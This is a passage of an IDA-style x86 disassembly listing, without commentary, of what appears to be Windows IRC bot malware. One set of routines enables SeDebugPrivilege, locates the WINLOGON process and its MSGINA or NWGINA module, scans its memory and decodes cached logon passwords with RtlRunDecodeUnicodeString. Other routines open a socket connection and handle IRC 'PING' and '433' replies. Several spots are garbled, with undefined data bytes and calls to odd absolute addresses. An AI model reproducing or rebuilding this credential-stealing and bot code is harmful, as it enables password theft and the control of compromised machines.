		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 33917FE8h,	75C08502h
		dd 0FC75FF8Fh, 319173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43790Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023390h, 56B175C0h,	90EEE890h
		dd 458B0231h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B00
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2690CB0h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A3C
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A24
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379C8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437990
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437964


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 278064Eh
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437930


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 267090Eh
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27B0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27A0AAEh
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2730767h
		nop
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 265092Ah
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 267090Eh
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27B0000h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0AAEh
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27A0CD3h
		nop
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2790000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		call	near ptr 265092Ah
		nop


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 265092Ah
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27A0A09h
		push	eax
		call	near ptr 27A0000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B9C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		call	near ptr 27A0A09h
		nop
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA2C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387B4
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
